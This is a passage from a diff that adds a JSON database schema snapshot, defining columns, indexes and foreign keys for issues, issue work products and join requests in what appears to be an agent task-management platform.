+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issue_work_products_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk": {
+          "name": "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "workspace_runtime_services",
+          "columnsFrom": [
+            "runtime_service_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_work_products_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issues": {
+      "name": "issues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "work_mode": {
+          "name": "work_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'standard'"
+        },
+        "harness_kind": {
+          "name": "harness_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "review_policy": {
+          "name": "review_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "checkout_run_id": {
+          "name": "checkout_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_run_id": {
+          "name": "execution_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_agent_name_key": {
+          "name": "execution_agent_name_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_locked_at": {
+          "name": "execution_locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_number": {
+          "name": "issue_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_fingerprint": {
+          "name": "origin_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "request_depth": {
+          "name": "request_depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_adapter_overrides": {
+          "name": "assignee_adapter_overrides",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_policy": {
+          "name": "execution_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_state": {
+          "name": "execution_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_next_check_at": {
+          "name": "monitor_next_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_wake_requested_at": {
+          "name": "monitor_wake_requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_last_triggered_at": {
+          "name": "monitor_last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_attempt_count": {
+          "name": "monitor_attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "monitor_notes": {
+          "name": "monitor_notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_scheduled_by": {
+          "name": "monitor_scheduled_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_preference": {
+          "name": "execution_workspace_preference",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_settings": {
+          "name": "execution_workspace_settings",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unblock_descriptor": {
+          "name": "unblock_descriptor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_transition_at": {
+          "name": "blocked_transition_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_owner_notified_at": {
+          "name": "blocked_owner_notified_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_at": {
+          "name": "hidden_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issues_company_status_idx": {
+          "name": "issues_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_harness_kind_idx": {
+          "name": "issues_company_harness_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_status_idx": {
+          "name": "issues_company_assignee_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_user_status_idx": {
+          "name": "issues_company_assignee_user_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_responsible_user_idx": {
+          "name": "issues_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_parent_idx": {
+          "name": "issues_company_parent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_idx": {
+          "name": "issues_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_origin_idx": {
+          "name": "issues_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_workspace_idx": {
+          "name": "issues_company_project_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_execution_workspace_idx": {
+          "name": "issues_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_monitor_due_idx": {
+          "name": "issues_company_monitor_due_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "monitor_next_check_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_updated_idx": {
+          "name": "issues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_created_idx": {
+          "name": "issues_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_open_normalized_title_created_idx": {
+          "name": "issues_open_normalized_title_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(regexp_replace(btrim(\"title\"), '\\s+', ' ', 'g'))",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issues\".\"hidden_at\" is null and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_priority_idx": {
+          "name": "issues_company_priority_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "priority",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_identifier_idx": {
+          "name": "issues_identifier_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_title_search_idx": {
+          "name": "issues_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_identifier_search_idx": {
+          "name": "issues_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_description_search_idx": {
+          "name": "issues_description_search_idx",
+          "columns": [
+            {
+              "expression": "description",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_open_routine_execution_uq": {
+          "name": "issues_open_routine_execution_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'routine_execution'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"execution_run_id\" is not null\n          and \"issues\".\"status\" in ('backlog', 'todo', 'in_progress', 'in_review', 'blocked')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_incident_uq": {
+          "name": "issues_active_liveness_recovery_incident_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_leaf_uq": {
+          "name": "issues_active_liveness_recovery_leaf_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_fingerprint\" <> 'default'\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stale_run_evaluation_uq": {
+          "name": "issues_active_stale_run_evaluation_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stale_active_run_evaluation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_task_watchdog_uq": {
+          "name": "issues_active_task_watchdog_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'task_watchdog'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_productivity_review_uq": {
+          "name": "issues_active_productivity_review_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'issue_productivity_review'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stranded_issue_recovery_uq": {
+          "name": "issues_active_stranded_issue_recovery_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stranded_issue_recovery'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_onboarding_first_task_uq": {
+          "name": "issues_onboarding_first_task_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'onboarding_first_task'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issues_company_id_companies_id_fk": {
+          "name": "issues_company_id_companies_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_id_projects_id_fk": {
+          "name": "issues_project_id_projects_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_workspace_id_project_workspaces_id_fk": {
+          "name": "issues_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_goal_id_goals_id_fk": {
+          "name": "issues_goal_id_goals_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_parent_id_issues_id_fk": {
+          "name": "issues_parent_id_issues_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_assignee_agent_id_agents_id_fk": {
+          "name": "issues_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_checkout_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_checkout_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "checkout_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_execution_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_execution_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "execution_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_created_by_agent_id_agents_id_fk": {
+          "name": "issues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issues_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.join_requests": {
+      "name": "join_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "invite_id": {
+          "name": "invite_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "request_type": {
+          "name": "request_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending_approval'"
+        },
+        "request_ip": {
+          "name": "request_ip",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requesting_user_id": {
+          "name": "requesting_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_email_snapshot": {
+          "name": "request_email_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_defaults_payload": {
+          "name": "agent_defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_hash": {
+          "name": "claim_secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_expires_at": {
+          "name": "claim_secret_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_consumed_at": {
+          "name": "claim_secret_consumed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_agent_id": {
+          "name": "created_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_by_user_id": {
+          "name": "rejected_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_at": {
+          "name": "rejected_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "join_requests_invite_unique_idx": {
+          "name": "join_requests_invite_unique_idx",
+          "columns": [
+            {
+              "expression": "invite_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_company_status_type_created_idx": {
+          "name": "join_requests_company_status_type_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_user_uq": {
+          "name": "join_requests_pending_human_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requesting_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"requesting_user_id\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_email_uq": {
+          "name": "join_requests_pending_human_email_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(\"request_email_snapshot\")",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
